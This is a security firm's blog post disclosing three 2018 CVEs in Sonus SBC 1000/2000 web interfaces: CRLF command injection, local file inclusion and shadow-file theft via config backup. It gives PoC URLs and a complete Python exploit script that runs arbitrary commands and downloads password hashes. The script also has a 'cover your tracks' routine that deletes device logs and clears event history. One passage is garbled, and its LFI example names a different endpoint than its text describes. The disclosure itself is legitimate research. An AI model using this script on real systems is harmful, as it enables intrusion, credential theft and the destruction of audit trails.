Blog

Sonus SBC 1000 / 2000 / SWELite Vulnerabilities + PoC

The CyberSKR team identified and registered three vulnerabilities in the Sonus (now Ribbon Communications) SBC 1000 / 2000 and SWELite Edge web interface. The vulnerabilities include a method for root privilege escalation via access to the shadow file, Local File Inclusion (LFI) and Remote Command Execution (RCE). Having responsibly disclosed the findings and working with the vendor to ensure a patch was released, we are now releasing the details and a PoC Python script that exploits the vulnerabilities.

TL;DR

Remote Command Execution (RCE) PoC:
https://example.com/cgi/system/networkDiag_ping.php?packetSize=1&IpAddr=127.0.0.1 -c 1%0D%0Acat /etc/passwd > /tmp/CyberSKR.txt %0D%0Aping 127.0.0.1

Local File Inclusion (LFI) PoC:
https://example.com/cgi/system/cceLogsDownload.php?filename=../../../etc/passwd

Privilege Escalation PoC:
https://example.com/cgi/system/configBackup.php?cfg=/views/system/backupRestore.xml

CVE-2018-11542: Remote Command Execution (RCE)

The SBC web interface has a "Diagnostics" area that provides functionality such as ping (/cgi/system/networkDiag_ping.php) and traceroute (/cgi/system/networkDiag_traceroute.php). These features are notoriously vulnerable as they usually run some form of shell command. Most implementations we’ve seen protect their functionality with blacklists used to block malicious characters such as ‘&’ or ‘|’, which was also the case here.

Example ping request:
/cgi/system/networkDiag_ping.php?packetSize=1&IpAddr=127.0.0.1

There is an often-overlooked vulnerability called a Carriage Return Line Feed (CRLF) injection, which is usually used for HTTP response splitting. The vulnerability is exploited by passing two URL encoded characters, Carriage Return (%0D or \r) and Line Feed (%0A or \n). These two characters combined (%0D%0A) represent an End of Line (EOL) marker, which indicates the end of a line in protocols such as HTTP. In a non-technical way, imagine it as a sequence of characters that represents a user hitting the "Enter" key in a terminal.

The ping functionality requires two GET parameters to be set, "packetSize" and "IpAddr". The server-side code checks if "packetSize" is numeric, so "IpAddr" is used to exploit the vulnerability. Applying the CRLF injection to the the ping functionality we were able to issue our own arbitrary commands, indicating the presence of an RCE vulnerability.

Imagining the initial ping command looks something similar to this in the PHP source code "ping $ip -s $size -c 1" there are a couple of things we need to take into account. First, we need to make sure we always pass the "-c 1" flag to ensure we don’t DoS the host (we tested this as well, it does DoS the box, take our word for it but feel free to try).

So currently the vector looks like this: “ipAddr=127.0.0.1 -c 1%0D%0A”, which successfully breaks out of the ping command. From here we can also execute our own arbitrary commands, which we found worked well if we redirected the output to a file for acquisition via LFI.

"ipAddr=127.0.0.1 -c 1%0D%0Acat /etc/passwd > /tmp/CyberSKR.txt"

We still have the problem of what to do with the rest of the ping command we cut off the end, so to solve that we simply re-issued the ping command, making the final attack vector (note the space after the .txt, which caused some problems with specific commands if not present):

"ipAddr=127.0.0.1 -c 1%0D%0Acat /etc/passwd > /tmp/CyberSKR.txt %0D%0Aping 127.0.0.1"

The SBC host used BusyBox and ash for the shell commands, which provides a limited subset of commands.

RCE PoC:
https://example.com/cgi/system/networkDiag_ping.php?packetSize=1&IpAddr=127.0.0.1 -c 1%0D%0Acat /etc/passwd > /tmp/CyberSKR.txt %0D%0Aping 127.0.0.1

CVE-2018-11543: Local File Inclusion (LFI)

Handling the output from the previous RCE vulnerability was tricky, and had much better results when output was written to a file. The problem was then accessing the file, which would require some form of access to the filesystem. gave us some diIn order to exfiltrate data from the SBC 2000 device it was then necessary to access the files being written by the previous exploit. An LFI vector was identified in "/cgi/system/debugDownloadAction_do.php" that allowed the tester to download arbitrary files from the host. A parameter named "fileToDownload" is passed to "debugDownloadAction_do.php", which allowed for arbitrary file paths to be specified. For example "fileToDownload=/etc/passwd" would provide the /etc/passwd file, including server files and the output from the RCE exploit previously mentioned.

LFI PoC:
https://example.com/cgi/system/cceLogsDownload.php?filename=../../../etc/passwd

CVE-2018-11541: Root Privilege Escalation

The Sonus Edge web interface for SBC 1000/2000 devices was found to be vulnerable to root privilege escalation via access to the Shadow file. The SBC web interface provides administrators with the ability to backup the host's configuration files, including the "shadow" file that contains hashes of the OS user's passwords. The passwords in this instance are also used as credentials for the web interface.

The web application executes the backup functionality through a POST request with several parameters, however it was possible to the same functionality with a read-only user by sending a GET request to the URI shown below due to the code using php’s REQUEST method rather than POST. The web application then provides a .tar archive containing the sensitive files. Accessing the functionality via the application sends multiple parameters, however only the "cfg" parameter needs to be set for the request to be successful.

Of course, once the shadow file has been extracted the hash then needs to be cracked as it is stored in a hashed form.

Privilege Escalation PoC:
https://example.com/cgi/system/configBackup.php?cfg=/views/system/backupRestore.xml

import StringIO
import requests
import zipfile
import sys

# Disable SSL cert warnings
requests.packages.urllib3.disable_warnings()

# Fill out as necessary (add https:// to host as well)
host = ""
username = ""
password = ""

# Terminal colours
red = '\033[91m'
green = '\033[92m'
end_colour = '\033[0m'

# Check necessary variables have been set
if host == "" or username == "" or password == "":
	print "Please fill in lines 10 to 12 of this script"
	sys.exit(0)

# Check command passed as argument
if len(sys.argv)<2:
	print red+"No OS command passed. Usage: python sbc_exploit.py \"<CMD_HERE>\""+end_colour
	sys.exit(0)

# Initialise variables
cmd = sys.argv[1]
write_file = "/tmp/write.txt"

# Initialise HTTP session
s = requests.session()

# Login function
def do_login():
	# Initialise session to get cookie
	s.get(host,verify=False)

	# Data required for login
	login_data = {
		"passwordNonce-Hidden":"password",
		"NewPasswordNonce-Hidden":"NewPassword",
		"ConfirmNewPasswordNonce-Hidden":"ConfirmNewPassword",
		"LoginPasswordRules":"Enhanced+Password+Security+Requirements+are+not+enabled+on+this+node.+Select+a+non-empty+password.%0D%0A",
		"username":username,
		"password":password,
		"password_password":"%E2%97%8F%E2%97%8F%E2%97%8F%E2%97%8F%E2%97%8F%E2%97%8F%E2%97%8F%E2%97%8F%E2%97%8F%E2%97%8F%E2%97%8Fn",
		"NewPassword":"",
		"ConfirmNewPassword":"",
		"loginbutton":"Login"
	}

	# Do login (POST)
	login = s.post(url=host+"/cgi/login/login_do.php",verify=False,data=login_data)

	# Check login outcome
	if login.status_code == 200:
		print "Login: "+green+"SUCCESS"+end_colour
	else:
		print "Login: "+red+"FAILED"+end_colour
		sys.exit(0)

# Run RCE exploit
def run_exploit():
	exp_string = host+"/cgi/system/networkDiag_ping.php?packetSize=1&IpAddr=127.0.0.1 -c 1%0D%0A"+cmd+" > "+write_file+" %0D%0Aping 127.0.0.1"

	exp_get = s.get(url=exp_string,verify=False)

	if exp_get.status_code == 200:
		print "Exploit: "+green+"SUCCESS"+end_colour
	else:
		print "Exploit: "+red+"FAILED"+end_colour

	# Get command output from written file
	dl_string = host+"/cgi/system/debugDownloadAction_do.php?fileToDownload="+write_file
	dl_get = s.get(url=dl_string,verify=False)

	# Check exploit outcome
	if dl_get.status_code == 200:
		print "Response: "+green+dl_get.text+end_colour
	else:
		print "Response: "+red+"FAILED"+end_colour

# Get config (shadow file)
def get_config():
	print "Getting Config"
	config_url = host+"/cgi/system/configBackup.php?cfg=/views/system/backupRestore.xml"

	config_get = s.get(url=config_url,stream=True)

	# Save config file if successful
	if config_get.status_code == 200:
		with open("config.tar.gz", "wb") as cfile:
			for block in config_get.iter_content(4096):
				cfile.write(block)
		print "Config Written: "+green+"config.tar.gz\n"+end_colour
	else:
		print "Config File: "+red+"FAILED"+end_colour

# Cover your tracks!
def clear_logs():
	log_string = host+"/cgi/system/networkDiag_ping.php?packetSize=1&IpAddr=127.0.0.1 -c 1%0D%0Arm -rf /log/* %0D%0Aping 127.0.0.1"
	log_get = s.get(log_string)

	if log_get.status_code == 200:
		print "Log Clear: "+green+"SUCCESS"+end_colour
	else:
		print "Log Clear: "+red+"FAILED"+end_colour
		sys.exit(0)

	login_string = host+"/cgi/services/ajaxRequestDriver.php?reqType=clearEventHistory"

	login_get = s.get(url=login_string)

	if login_get.status_code == 200:
		print "Login Clear: "+green+"SUCCESS"+end_colour
	else:
		print "Login Clear: "+red+"FAILED"+end_colour
		sys.exit(0)

	# Logout to remove "Active Sessions" entry
	s.get(host+"/cgi/login/logout.php")

# Exploit goodness
def main():
	do_login()
	run_exploit()
	get_config()
	clear_logs()

# Python speed boost
if __name__ == "__main__":
	main()

This website uses cookies
Close

Contact CyberSKR

If you would like to inquire about our services or ask a question please fill in the form below

Contact Details
Your Comments
Are you human?